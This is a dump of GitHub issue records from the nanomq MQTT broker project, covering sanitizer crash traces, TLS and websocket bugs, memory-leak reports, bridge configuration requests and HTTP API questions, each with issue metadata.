0x7f9542ad8cc7 in calloc (/lib64/libasan.so.8+0xd8cc7) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x481054 in nni_zalloc /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_alloc.c:26 #2 0x46c0dd in nni_msg_alloc /home/wangha/Documents/nanomq/nng/src/core/message.c:387 #3 0x4c8088 in nni_mqtt_msg_alloc /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_msg.c:60 #4 0x4afdfc in nng_mqtt_msg_alloc /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_public.c:20 #5 0x4b1d60 in nng_mqtt_subscribe /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_public.c:966 #6 0x428af0 in connect_cb /home/wangha/Documents/nanomq/nanomq_cli/client.c:1433 #7 0x47921d in nni_pipe_run_cb /home/wangha/Documents/nanomq/nng/src/core/socket.c:1790 #8 0x478624 in nni_dialer_add_pipe /home/wangha/Documents/nanomq/nng/src/core/socket.c:1589 #9 0x463d77 in dialer_connect_cb /home/wangha/Documents/nanomq/nng/src/core/dialer.c:383 #10 0x47bf6e in nni_taskq_thread /home/wangha/Documents/nanomq/nng/src/core/taskq.c:50 #11 0x47d19f in nni_thr_wrap /home/wangha/Documents/nanomq/nng/src/core/thread.c:94 #12 0x485314 in nni_plat_thr_main /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:266 #13 0x7f95419cd946 in start_thread (/lib64/libc.so.6+0x8c946) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) Thread T20 created by T0 here: #0 0x7f9542a48956 in pthread_create (/lib64/libasan.so.8+0x48956) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x48540d in nni_plat_thr_init /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:279 #2 0x47d442 in nni_thr_init /home/wangha/Documents/nanomq/nng/src/core/thread.c:121 #3 0x47c289 in nni_taskq_init /home/wangha/Documents/nanomq/nng/src/core/taskq.c:95 #4 0x47ceab in nni_taskq_sys_init /home/wangha/Documents/nanomq/nng/src/core/taskq.c:276 #5 0x46751f in nni_init_helper /home/wangha/Documents/nanomq/nng/src/core/init.c:35 #6 0x485714 in nni_plat_init /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:422 #7 0x467589 in nni_init /home/wangha/Documents/nanomq/nng/src/core/init.c:57 #8 0x47429b in nni_sock_open /home/wangha/Documents/nanomq/nng/src/core/socket.c:638 #9 0x494023 in nni_proto_open /home/wangha/Documents/nanomq/nng/src/sp/protocol.c:21 #10 0x4f7a35 in nng_mqtt_client_open /home/wangha/Documents/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:1342 #11 0x4293c9 in create_client /home/wangha/Documents/nanomq/nanomq_cli/client.c:1520 #12 0x42a163 in client /home/wangha/Documents/nanomq/nanomq_cli/client.c:1634 #13 0x42a233 in subscribe_start /home/wangha/Documents/nanomq/nanomq_cli/client.c:1677 #14 0x43ab71 in main /home/wangha/Documents/nanomq/nanomq_cli/main.c:120 #15 0x7f9541968b89 in __libc_start_call_main (/lib64/libc.so.6+0x27b89) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #16 0x7f9541968c4a in __libc_start_main_alias_2 (/lib64/libc.so.6+0x27c4a) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #17 0x41f044 in _start (/home/wangha/Documents/nanomq/build/nanomq_cli/nanomq_cli+0x41f044) (BuildId: a6d43106a8a7c42b83809c7af724cd710c11469e) Thread T6 created by T0 here: #0 0x7f9542a48956 in pthread_create (/lib64/libasan.so.8+0x48956) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x48540d in nni_plat_thr_init /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:279 #2 0x47d442 in nni_thr_init /home/wangha/Documents/nanomq/nng/src/core/thread.c:121 #3 0x47c289 in nni_taskq_init /home/wangha/Documents/nanomq/nng/src/core/taskq.c:95 #4 0x47ceab in nni_taskq_sys_init /home/wangha/Documents/nanomq/nng/src/core/taskq.c:276 #5 0x46751f in nni_init_helper /home/wangha/Documents/nanomq/nng/src/core/init.c:35 #6 0x485714 in nni_plat_init /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:422 #7 0x467589 in nni_init /home/wangha/Documents/nanomq/nng/src/core/init.c:57 #8 0x47429b in nni_sock_open /home/wangha/Documents/nanomq/nng/src/core/socket.c:638 #9 0x494023 in nni_proto_open /home/wangha/Documents/nanomq/nng/src/sp/protocol.c:21 #10 0x4f7a35 in nng_mqtt_client_open /home/wangha/Documents/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:1342 #11 0x4293c9 in create_client /home/wangha/Documents/nanomq/nanomq_cli/client.c:1520 #12 0x42a163 in client /home/wangha/Documents/nanomq/nanomq_cli/client.c:1634 #13 0x42a233 in subscribe_start /home/wangha/Documents/nanomq/nanomq_cli/client.c:1677 #14 0x43ab71 in main /home/wangha/Documents/nanomq/nanomq_cli/main.c:120 #15 0x7f9541968b89 in __libc_start_call_main (/lib64/libc.so.6+0x27b89) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #16 0x7f9541968c4a in __libc_start_main_alias_2 (/lib64/libc.so.6+0x27c4a) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #17 0x41f044 in _start (/home/wangha/Documents/nanomq/build/nanomq_cli/nanomq_cli+0x41f044) (BuildId: a6d43106a8a7c42b83809c7af724cd710c11469e) SUMMARY: AddressSanitizer: heap-use-after-free /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_atomic.c:120 in nni_atomic_dec_nv Shadow bytes around the buggy address: 0x60f000017800: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd 0x60f000017880: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa 0x60f000017900: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x60f000017980: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa 0x60f000017a00: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x60f000017a80: fd[fd]fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x60f000017b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60f000017b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60f000017c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60f000017c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60f000017d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2413209==ABORTING ``` **Expected behavior** No heap use after free. **To Reproduce** Start nanomq. then `./nanomq_cli/nanomq_cli sub -h 127.0.0.1 -p 8883 -t "topic3" --cafile ../etc/certs/cacert.pem -s` **Environment Details** - NanoMQ version. latest - Operating system and version - Compiler and language used - testing scenario
Heap use after free in nanomq_cli tls sub
https://api.github.com/repos/nanomq/nanomq/issues/1766/comments
2
2024-04-28T10:13:08Z
2024-05-09T11:35:27Z
https://github.com/nanomq/nanomq/issues/1766
2,267,470,791
1,766
[ "emqx", "nanomq" ]
Problem with TLS when attempting to connect many clients simultaneously. SDK client: Node.js MQTT client Protocol: SSL with certs Reproduction: Attempting to connect multiple clients simultaneously using the TLS protocol and a certificate. Result: The broker becomes blocked and unable to connect to any client. The only solution is to restart the server." debug logs mode show only these lines at each attempt 2024-04-23 07:32:00 [14481] WARN /home/runner/work/nanomq/nanomq/nng/src/sp/transport/mqtts/broker_tls.c:310 tlstran_pipe_nego_cb: nego aio error: Cryptographic error 2024-04-23 07:32:00 [14481] ERROR /home/runner/work/nanomq/nanomq/nng/src/sp/transport/mqtts/broker_tls.c:448 tlstran_pipe_nego_cb: connect nego error rv: Cryptographic error(26)
tlstran_pipe_nego_cb: connect nego error rv: Cryptographic error
https://api.github.com/repos/nanomq/nanomq/issues/1764/comments
5
2024-04-23T07:38:46Z
2024-08-10T15:59:19Z
https://github.com/nanomq/nanomq/issues/1764
2,258,177,877
1,764
[ "emqx", "nanomq" ]
We shall bound cparam with mqtt_pipe.
conn_param used in offline msg cause HUAF
https://api.github.com/repos/nanomq/nanomq/issues/1762/comments
0
2024-04-22T20:24:34Z
2024-04-23T09:55:35Z
https://github.com/nanomq/nanomq/issues/1762
2,257,400,855
1,762
[ "emqx", "nanomq" ]
I'm using TLS between my client and broker, and when sending a lot of messages using QoS 2, the client connection is closed with no explanation. In the server logs, I see this warning: 'tlstran_pipe_qos_send_cb: NULL message detected in send_cb'. is that bug client side or server side
tlstran_pipe_qos_send_cb: NULL msg detected in send_cb
https://api.github.com/repos/nanomq/nanomq/issues/1760/comments
10
2024-04-22T12:11:46Z
2024-05-17T03:45:29Z
https://github.com/nanomq/nanomq/issues/1760
2,256,378,129
1,760
[ "emqx", "nanomq" ]
**Describe the bug** mqtt ws crash **To Reproduce** this is the python code to reproduce (github do not support .py file upload) [paho_ws_test.txt](https://github.com/nanomq/nanomq/files/15006884/paho_ws_test.txt) **Client SDK** paho python
ws crash
https://api.github.com/repos/nanomq/nanomq/issues/1752/comments
2
2024-04-17T06:41:50Z
2024-04-17T18:29:51Z
https://github.com/nanomq/nanomq/issues/1752
2,247,506,039
1,752
[ "emqx", "nanomq" ]
> AddressSanitizer:DEADLYSIGNAL > ================================================================= > ==13983==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4503b9d7fd bp 0x7f44fd4fb9d0 sp 0x7f44fd4fb168 T4) > ==13983==The signal is caused by a READ memory access. > ==13983==Hint: address points to the zero page. > #0 0x7f4503b9d7fd (/lib/x86_64-linux-gnu/libc.so.6+0x19d7fd) > #1 0x7f4503e3da1b in __interceptor_strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:387 > #2 0x5577c3667fef in wstran_pipe_init /home/runner/work/nanomq/nanomq/nng/src/sp/transport/mqttws/nmq_websocket.c:953 > #3 0x5577c353a540 in pipe_create /home/runner/work/nanomq/nanomq/nng/src/core/pipe.c:297 > #4 0x5577c353a9f1 in nni_pipe_create_listener /home/runner/work/nanomq/nanomq/nng/src/core/pipe.c:339 > #5 0x5577c35428dc in nni_listener_add_pipe /home/runner/work/nanomq/nanomq/nng/src/core/socket.c:1662 > #6 0x5577c35325f5 in listener_accept_cb /home/runner/work/nanomq/nanomq/nng/src/core/listener.c:359 > #7 0x5577c3546227 in nni_taskq_thread /home/runner/work/nanomq/nanomq/nng/src/core/taskq.c:50 > #8 0x5577c354[754](https://github.com/nanomq/nanomq/actions/runs/8706874613/job/23880514446?pr=1724#step:6:755)8 in nni_thr_wrap /home/runner/work/nanomq/nanomq/nng/src/core/thread.c:94 > #9 0x5577c354fecf in nni_plat_thr_main /home/runner/work/nanomq/nanomq/nng/src/platform/posix/posix_thread.c:266 > #10 0x7f4503a94ac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) > #11 0x7f4503b2684f (/lib/x86_64-linux-gnu/libc.so.6+0x12684f)
[CI:Records] websocket is not compatible with NULL clientID
https://api.github.com/repos/nanomq/nanomq/issues/1750/comments
0
2024-04-16T22:21:23Z
2024-04-17T00:43:34Z
https://github.com/nanomq/nanomq/issues/1750
2,246,971,550
1,750
[ "emqx", "nanomq" ]
![nanomq_log](https://github.com/nanomq/nanomq/assets/9456870/4fceffb6-a518-4ea0-9dd1-f4fc6a38a471) version 0.21.8 nanomq broker 报mqtt broker_tls.c:488: NULL msg detected in send_cb后 客户端连接就会pub不上来消息,重新断开连接进行重连后又恢复,这个是什么原因。 send_cb是什么消息
mqtt broker_tls.c:488: NULL msg detected in send_cb
https://api.github.com/repos/nanomq/nanomq/issues/1749/comments
7
2024-04-16T16:10:17Z
2024-04-17T04:03:50Z
https://github.com/nanomq/nanomq/issues/1749
2,246,425,869
1,749
[ "emqx", "nanomq" ]
**Is your feature request related to a problem? Please describe.** Configuring a bridge, if you try to rewrite the topic with a wildcard: ``` forwards = [ { remote_topic = "device_id/topic1/#" local_topic = "topic1/#" }, ] ``` It shows: `2024-04-13 16:47:23 [1] ERROR /home/runner/work/nanomq/nanomq/nng/src/supplemental/nanolib/conf_ver2.c:970 conf_bridge_node_parse: No wildcard +/# should be contained in remote topic in forward rules.` Similar issues: #1684, #1463, https://github.com/nanomq/nanomq/issues/1174#issuecomment-1769265904 **Describe the solution you'd like** Similar to what eclipse mosquitto allows: "_The local-prefix and remote-prefix options allow topics to be remapped when publishing to and receiving from remote brokers. This allows a topic tree from the local broker to be inserted into the topic tree of the remote broker at an appropriate place._" (https://mosquitto.org/man/mosquitto-conf-5.html) As example, in mosquitto, that configuration line allows to remap (adding a prefix in the remote topic) with a wildcard: `topic topic1/# both 0 "" device_id/` **Describe alternatives you've considered** Right now, the alternative I've tested is: { remote_topic = "" local_topic = "device_id /topic1/#" } That works, but it doesn't allow a topic to be remapped with a wildcard, moving more work to the local configuration part.
MQTT Bridge - Allow prefix/suffix to remap of topics
https://api.github.com/repos/nanomq/nanomq/issues/1746/comments
3
2024-04-13T20:16:54Z
2024-07-17T07:35:51Z
https://github.com/nanomq/nanomq/issues/1746
2,241,764,616
1,746
[ "emqx", "nanomq" ]
Greetings. Recently, I have used my memory leak detector to examine the latest version of nanomq. From the latest version of nanomq/nng, I have discovered 5 memory leak defects. Below are the detailed descriptions of these defects: First defect: At line 938, a pointer named mqdata is defined and a dynamic memory region is allocated using nng_alloc. When the if statement at line 939 returns false, it indicates successful allocation of the dynamic memory region. At line 952, the program uses this pointer to create an object named mqs_obj. When the if statement at line 953 returns true, it signifies the failure of creating the object. However, even if the object creation fails, the dynamic memory region pointed to by mqdata is successfully allocated. Therefore, the memory region pointed to by mqdata should be freed. The defect path is as follows: https://github.com/LuMingYinDetect/nanomq_defects/blob/main/nanomq_12.png Second defect: At line 1378, dynamic memory allocation for the pointer db and at line 1379, dynamic memory allocation for the pointer topic may not necessarily fail simultaneously. Therefore, when the if statement at line 1387 returns true, an attempt should be made to free the pointers db and topic. Detailed information on the defect is depicted in the following diagram: https://github.com/LuMingYinDetect/nanomq_defects/blob/main/nanomq_13.png Third defect: When the if statement at line 1574 returns false, it indicates successful allocation of dynamic memory region for the pointer sn. However, when the if statement at line 1576 returns true, the dynamic memory region pointed to by sn should be freed. Detailed information on the defect is illustrated in the following diagram: https://github.com/LuMingYinDetect/nanomq_defects/blob/main/nanomq_14.png Fourth defect: At line 1692, a dynamic memory region is allocated for the pointer topic using the function nng_alloc. When the if statement at line 1700 returns true, the program returns at line 1701 without freeing the dynamic memory region pointed to by topic. This results in a memory leak as depicted in the following diagram: https://github.com/LuMingYinDetect/nanomq_defects/blob/main/nanomq_15.png The fifth defect: At line 446, the condition should be checking the pointer lens instead of the variable len: https://github.com/LuMingYinDetect/nanomq_defects/blob/main/nanomq_16.png
Several potential memory leak defects in the latest version of nanomq/nng.
https://api.github.com/repos/nanomq/nanomq/issues/1742/comments
1
2024-04-10T02:45:23Z
2024-04-18T05:43:12Z
https://github.com/nanomq/nanomq/issues/1742
2,234,650,188
1,742
[ "emqx", "nanomq" ]
Bug **Describe the bug** I am trying to do some testing around the message persistence and I am running into a few unexpected behaviors. I want to make sure my expectations of the feature and what you offer are in line. The biggest thing I am noticing is missing messages when I would expect persistence due to loss of connection and client instability. I have included a copy of my config file at the bottom. **Expected behavior** I would expect that despite network loss and client instability, all messages would still be received due to data persistence. **Actual Behavior** We are seeing lost messages. **To Reproduce** The test is sending 100 messages from Device A to Device B and manipulating connectivity issues to test message persistence. Device A establishes a broker bridge to EMQX on a server, and Device B is connected directly to EMQX. We slowly start sending 100 messages. After a little time (10-15 messages) we disconnect Device A’s connection to the network. After some more time, we are stopping the broker client on Device A. After some time, we re-established the network and also started the broker up. After that, we validate how many messages we received in total. **Environment Details** Broker to Broker Go client Debian Environment **Client SDK** nanomq-sqlite **Additional context** nanomq.conf > mqtt.property_size = 32 > mqtt.max_packet_size = 10KB > mqtt.max_mqueue_len = 2048 > mqtt.retry_interval = 10s > mqtt.keepalive_multiplier = 1.25 > mqtt.max_inflight_window = 2048 > mqtt.max_awaiting_rel = 10s > mqtt.await_rel_timeout = 10s > > system.parallel = 1024 > > listeners.tcp.bind="0.0.0.0:1883" > listeners.ws.bind="0.0.0.0:8083/mqtt" > > bridges.mqtt.emqx1.server="*path to our server*" > bridges.mqtt.emqx1.proto_ver=5 > bridges.mqtt.emqx1.clientid="7e18aa9a-ed43-11ee-a8e2-0662bd2efbf9" > bridges.mqtt.emqx1.keepalive=60s > bridges.mqtt.emqx1.clean_start=false > bridges.mqtt.emqx1.ssl.keyfile="*path to our keyfile*" > bridges.mqtt.emqx1.ssl.certfile="*path to our cert file*" > bridges.mqtt.emqx1.ssl.cacertfile="*path to our ca cert*" > bridges.mqtt.emqx1.conn_properties.receive_maximum=10 > bridges.mqtt.emqx1.conn_properties.session_expiry_interval=86400 > bridges.mqtt.emqx1.forwards.1.local_topic="test" > bridges.mqtt.emqx1.forwards.1.remote_topic="7e18aa9a-ed43-11ee-a8e2-0662bd2efbf9/test" > bridges.mqtt.emqx1.subscription.1.local_topic="test" > bridges.mqtt.emqx1.subscription.1.remote_topic="7e18aa9a-ed43-11ee-a8e2-0662bd2efbf9/test" > bridges.mqtt.emqx1.subscription.1.qos=2 > > bridges.mqtt.cache.disk_cache_size=102400 > bridges.mqtt.cache.mounted_file_path="/var/nanomq" > bridges.mqtt.cache.flush_mem_threshold=1 > bridges.mqtt.cache.resend_interval=3000 > > http_server.port = 8081 > http_server.limit_conn = 2 > http_server.username = admin > http_server.password = public > http_server.auth_type = basic > #http_server.jwt.public.keyfile = "/etc/certs/jwt/jwtRS256.key.pub" > > log.to = [file, console] > log.level = warn > log.dir = "/var/log" > log.file = "nanomq.log" > log.rotation.size = 10MB > log.rotation.count = 5 > > auth.allow_anonymous = true > auth.no_match = allow > auth.deny_action = ignore > auth.cache.max_size = 32 > auth.cache.ttl = 1m
Unexpected behavior in data persistence
https://api.github.com/repos/nanomq/nanomq/issues/1741/comments
1
2024-04-09T20:00:19Z
2024-05-09T03:39:50Z
https://github.com/nanomq/nanomq/issues/1741
2,234,205,837
1,741
[ "emqx", "nanomq" ]
**Describe the bug** runtime error: applying zero offset to null pointer. ``` c++ // ./nanomq/nng/src/core/list.c: void * nni_list_first(const nni_list *list) { nni_list_node *node = list->ll_head.ln_next; if (node == &list->ll_head) { return (NULL); } return (ITEM(list, node)); // null pointer. } ``` **To Reproduce** Build with UBSan: -DCMAKE_CXX_FLAGS="-g -O1 -fsanitize=address,undefined" Start two nanomq server with different tcp address but the same ws address. (remove the pid file in /tmp/nanomq/nanomq.pid) server 1 ```bash ./nanomq ``` server2 ```bash ./nanomq tart --url nmq-tcp://0.0.0.0:4453 ``` Server Logs as follow **Additional context** ``` 2024-04-05 21:58:36 [2627426] ERROR /home/user/nanomq/nng/src/supplemental/nanolib/conf_ver2.c:1202 conf_parse_ver2: Configure file [(null)] or [/etc/nanomq.conf] not found or unreadable 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1141 print_conf: This NanoMQ instance configured as: 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1144 print_conf: tcp url: nmq-tcp://0.0.0.0:4453 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1148 print_conf: websocket url: nmq-ws://0.0.0.0:8083/mqtt 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1166 print_conf: daemon: false 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1168 print_conf: num_taskq_thread: 32 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1170 print_conf: max_taskq_thread: 32 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1171 print_conf: parallel: 32 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1172 print_conf: property_size: 32 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1173 print_conf: max_packet_size: 1048576 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1175 print_conf: client_max_packet_size: 1048576 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1176 print_conf: msq_len: 2048 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1177 print_conf: qos_duration: 10 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1178 print_conf: keepalive_backoff: 1.500000 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1215 print_conf: allow_anonymous: true 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1219 print_conf: acl_nomatch: allow 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1221 print_conf: enable_acl_cache: on 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1223 print_conf: acl_cache_max_size: 32 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1224 print_conf: acl_cache_ttl: 60 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nng/src/supplemental/nanolib/conf.c:1227 print_conf: acl_deny_action: ignore 2024-04-05 21:58:36 [2627426] INFO /home/user/nanomq/nanomq/apps/broker.c:1272 store_pid: 2627426 nng_listen ws: Address in use /home/user/nanomq/nng/src/core/list.c:39:10: runtime error: applying zero offset to null pointer SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/user/nanomq/nng/src/core/list.c:39:10 in ```
runtime error: applying zero offset to null pointer
https://api.github.com/repos/nanomq/nanomq/issues/1740/comments
3
2024-04-05T14:06:16Z
2024-05-09T03:28:45Z
https://github.com/nanomq/nanomq/issues/1740
2,228,126,892
1,740
[ "emqx", "nanomq" ]
**Describe the bug** When setting the parallel value in the system config to 0, nanomq doesn't seem to properly determine the number of parallel tasks needed to reliably deliver messages over a bridge. **Expected behavior** When setting the system parallel value to 0, I would expect that we could send many messages very quickly through the broker and see that all of them are delivered over a bridge to EMQX broker. **Actual Behavior** I am noticing several dropped messages when setting the parallel value to 0. If I set the parallel configuration to 255 I notice only a couple of lost messages. If I set the configuration value to 1024 ([outside the documented value](https://nanomq.io/docs/en/latest/config-description/broker.html)), then I see no lost messages. We tried this value due to a suggestion found [here](https://askemq-com.translate.goog/t/topic/5872?_x_tr_sl=zh-CN&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc&_x_tr_hist=true) **To Reproduce** Send 100+ messages with a small interval of 10 milliseconds to nanoMQ forwarding messages to an EMQX broker **Environment Details** - NanoMQ version v0.21.8-8 - Operating system and version Debian 11 - Compiler and language used Go Client - testing scenario Sending 100 messages to a topic with very small intervals (10 milliseconds) **Client SDK** [Go Paho ](https://github.com/eclipse/paho.golang)
Parallel tasks are not being accurately determined
https://api.github.com/repos/nanomq/nanomq/issues/1739/comments
5
2024-04-04T19:06:03Z
2024-05-09T03:22:29Z
https://github.com/nanomq/nanomq/issues/1739
2,226,311,001
1,739
[ "emqx", "nanomq" ]
According to the documentation on https://nanomq.io/docs/en/latest/api/v4.html i tried to pass the **/api/v4/clients** Endpoint one of the specified query params (in this example "clientid") It seems to have no effect at all. For testing this i have connected 2 clients via MQTTX (logged in under the same username) **curl -i --basic -u admin:public -X GET "http://localhost:8081/api/v4/clients"** (without specified clientid) returns the following ``` { "code":0, "data":[ { "client_id":"mqttx_8c438c5f", "username":"lukas", "keepalive":60, "conn_state":"connected", "clean_start":true, "proto_name":"MQTT", "proto_ver":5 }, { "client_id":"mqttx_1e5722d6", "username":"lukas", "keepalive":60, "conn_state":"connected", "clean_start":true, "proto_name":"MQTT", "proto_ver":5 } ] } ``` **curl -i --basic -u admin:public -X GET "http://localhost:8081/api/v4/clients?clientid=mqttx_8c438c5f"** (with specified clientid) produces the same result ``` { "code":0, "data":[ { "client_id":"mqttx_8c438c5f", "username":"lukas", "keepalive":60, "conn_state":"connected", "clean_start":true, "proto_name":"MQTT", "proto_ver":5 }, { "client_id":"mqttx_1e5722d6", "username":"lukas", "keepalive":60, "conn_state":"connected", "clean_start":true, "proto_name":"MQTT", "proto_ver":5 } ] } ``` Same issue when trying to query by "username" query param (tested this with two unique users) **I assumed that the query params for /clients can be used to filter the returned client list? (by the specified conditions in the documentations) but in my case it really didnt affect the result at all** Im using NanoMQ v0.21.6-6 on Manjaro
Query params for /api/v4/clients having no effect?
https://api.github.com/repos/nanomq/nanomq/issues/1737/comments
3
2024-04-02T08:57:49Z
2024-04-18T05:17:42Z
https://github.com/nanomq/nanomq/issues/1737
2,219,948,078
1,737
[ "emqx", "nanomq" ]
**Describe the bug** i have config nanomq.conf for 'http_auth'. but it not woks.in my http server, i just can receive "auth_req" request . ![image](https://github.com/nanomq/nanomq/assets/21210211/fda0950f-f974-4887-ad5e-96fbeca97fcb) but when mqttx client subscribe topic, i can not receive "acl_req" request. ![image](https://github.com/nanomq/nanomq/assets/21210211/166f8a27-eef5-4808-b780-64c2bf565c7e) **Environment Details** - NanoMQ version : 0.21.8 - Operating system and version: centos7 docker
can not use http acl?
https://api.github.com/repos/nanomq/nanomq/issues/1736/comments
3
2024-04-01T11:38:27Z
2024-07-22T06:22:32Z
https://github.com/nanomq/nanomq/issues/1736
2,218,094,754
1,736
[ "emqx", "nanomq" ]
null
How to enable output log to file in .so shared library?
https://api.github.com/repos/nanomq/nanomq/issues/1735/comments
2
2024-04-01T08:35:33Z
2024-04-16T18:20:37Z
https://github.com/nanomq/nanomq/issues/1735
2,217,826,335
1,735
[ "emqx", "nanomq" ]
Hello, I'm not sure if this is a bug or a feature request. I want to use bridges between 3 brokers. I'm using this forwards and subscriptions configuration: Forwards: Forwards: [ { localTopic: "topic/#", remoteTopic: "", qos: 2 }] Subscriptions:[ { localTopic: "", remoteTopic: "topic/#", qos: 2 }] When I send a message on the topic "topic/myapp," for example from one of those servers, it produces an infinite loop of messages between brokers. Using EMQX and its specific configuration does not produce the same issue.
infinite loop messages with bridges over tcp
https://api.github.com/repos/nanomq/nanomq/issues/1733/comments
1
2024-03-29T10:57:44Z
2024-04-18T07:50:17Z
https://github.com/nanomq/nanomq/issues/1733
2,215,124,287
1,733